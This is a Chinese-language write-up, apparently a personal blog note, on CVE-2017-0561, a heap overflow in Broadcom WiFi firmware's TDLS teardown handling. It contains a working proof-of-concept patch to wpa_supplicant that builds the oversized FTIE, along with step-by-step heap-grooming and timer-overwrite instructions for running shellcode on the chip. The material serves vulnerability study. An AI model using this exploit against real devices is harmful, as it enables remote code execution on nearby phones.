作者:FloatingGuy 转载请注明出处:https://floatingguy.github.io/
Title: CVE-2017-0561 issues
Core Skill:远程攻击 wpa_supplicant wifi 模块, 存在堆溢出漏洞,精心构造数据可以远程提权。
简介
漏洞在高通的 BCM 固件中。当网络中有设备发送 wifi TDLS teardow请求时,网络中的设备会自动接受请求包,然后校验teardown 请求包。
MIG :message integrity code 消息完整性代码
首先要建立 TDLS 连接,当其中一台设备发送 teardown 请求时,另一方会自动接收
漏洞原理
校验完成以后,在处理请求包之前会校验MIC,调用wlc_tdls_cal_teardown_mic_chk函数。
伪代码:
1 2 3 4 5 6 7 8 9
| void *wlc_tdls_cal_teardown_mic_chk() { uint8_t* buffer = malloc(256); ... uint8_t* linkid_ie = bcm_parse_tlvs(..., 101); memcpy(buffer, linkid_ie, 0x14); ... uint8_t* ft_ie = bcm_parse_tlvs(..., 55); // 提取Fast Transition IE (55)信息元素 memcpy(buf + 0x18, ft_ie, ft_ie[1] + 2); }
|
因为在拷贝 FTIE 之前没有校验数据报中 FTIE 的长度,所以在 memcpy 时会导致堆溢出。
POC 使用步骤:
- 需要下载 wpa_supplicant 2.6
- 安装补丁文件?》?》?
- 编译 wpa_supplicant (支持 TDLS)
- 使用 wpa_supplicant 链接到网路
- 链接 到 wpa_cli: 要攻击的设备??
1. 使用 "TDLS_SETUP <MAC_ADDRESS_OF_PEER>”设置到BCM对等体的TDLS连接
2. 使用“TDLS_TEARDOWN <MAC_ADDRESS_OF_PEER>”拆除连接
(其中MAC_ADDRESS_OF_PEER是具有与同一网络相关联的BCM SoC的对等体的MAC地址)
Patch 文件
这份 patch 文件 就是一个 poc, 通过修改 wpa_supplicant 代码,在构造 teardown 请求包时,故意让 ftie 指向的堆比接受的256 字节大。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| --- wpa_supplicant-2.6/src/rsn_supp/tdls.c 2016-10-02 19:51:11.000000000 +0100 +++ TDLSTeardownModification/wpa_supplicant-2.6/src/rsn_supp/tdls.c 2016-12-19 12:15:28.000000000 +0000 @@ -765,15 +765,7 @@ wpa_printf(MSG_DEBUG, "TDLS: TDLS Teardown for " MACSTR, MAC2STR(addr)); // 删除计算 ielen 的代码, 这里是用来计算 ftie 堆的大小 - ielen = 0; - if (wpa_tdls_get_privacy(sm) && peer->tpk_set && peer->tpk_success) { - /* To add FTIE for Teardown request and compute MIC */ - ielen += sizeof(*ftie); -#ifdef CONFIG_TDLS_TESTING - if (tdls_testing & TDLS_TESTING_LONG_FRAME) - ielen += 170; -#endif /* CONFIG_TDLS_TESTING */ - } + ielen = 257; // 溢出1个字节 rbuf = os_zalloc(ielen + 1); if (rbuf == NULL) @@ -785,11 +777,14 @@ ftie = (struct wpa_tdls_ftie *) pos; ftie->ie_type = WLAN_EID_FAST_BSS_TRANSITION; + ftie->ie_len = 255; // 忽略了 wpa_tdls_ftie 头部2个字节。实际在计算 mic 时,读取的是 257 个字节。 + os_memset(pos + 2, 0xFF, 255); + /* Using the recent nonce which should be for CONFIRM frame */ os_memcpy(ftie->Anonce, peer->rnonce, WPA_NONCE_LEN); os_memcpy(ftie->Snonce, peer->inonce, WPA_NONCE_LEN); - ftie->ie_len = sizeof(struct wpa_tdls_ftie) - 2; - pos = (u8 *) (ftie + 1); + + pos += 257; #ifdef CONFIG_TDLS_TESTING if (tdls_testing & TDLS_TESTING_LONG_FRAME) { wpa_printf(MSG_DEBUG, "TDLS: Testing - add extra subelem to "
|
1 2 3 4 5 6 7 8 9
| struct wpa_tdls_ftie { u8 ie_type; /* FTIE */ u8 ie_len; // 这里会 忽略头2个字节 u8 mic_ctrl[2]; u8 mic[TDLS_MIC_LEN]; //TDLS_MIC_LEN 16 u8 Anonce[WPA_NONCE_LEN]; /* Responder Nonce in TDLS */ WPA_NONCE_LEN 32 u8 Snonce[WPA_NONCE_LEN]; /* Initiator Nonce in TDLS */ /* followed by optional elements */ } STRUCT_PACKED;
|
测试
我已经能够在BCM4339芯片上验证此漏洞,运行版本为6.37.34.40(如Nexus 5所示)。不过,我相信这个漏洞的范围包括更广泛的Broadcom SoC和版本。
exploit
直接 运行exploit.py 可以在 WiFi 加密狗上 任意代码执行。
配置步骤:
- 和目标设备创建 TDLS 链接
- 发送构造的 teardown 请求给目标,触发堆溢出漏洞
- 创建一个新的 TDLS 链接,使用精心设计的参数,导致空闲链表中的一个chunk覆盖另一个chunk ???
- 发送 action code == 127 的 TDLS 请求帧
- 精心构造 TDLS 请求帧的大小,要让其和空闲链表中另一个 chunk 发生覆盖
- 精心构造 请求数据,保证 free chunk 的指针指向,固件初始化时创建的定时器
- 发送另一个 action code == 127 的 TDLS 请求帧
- 精心构造 TDLS 请求帧的大小,这个帧将被放置在 定时器的头部 (因为再次 malloc 时,返回的是定时器的内存地址)
- 精心构造 请求数据,保证我们能覆盖定时器的函数指针,这里我们将指针指向堆结尾处。
- 发送一个 action code == 127 的较大 TDLS 请求帧
- 精心构造 请求数据,使其包含我们要执行的 shellcode
- 由于堆内存分配以后都会被初始化为0, 而“Thumb”中为“00 00”为NOP(MOVS R0,R0),这就是天然的滑板指令。所以我们跳到shellcode 之前的位置,不会有任何影响。
整个攻击,会在下一次定时器到期,在固件上执行我们的 shellcode。
ChangeLog
Time |
Change |
2017-4-21 |
测试 android N5 |
|
测试 ios <=10.3 |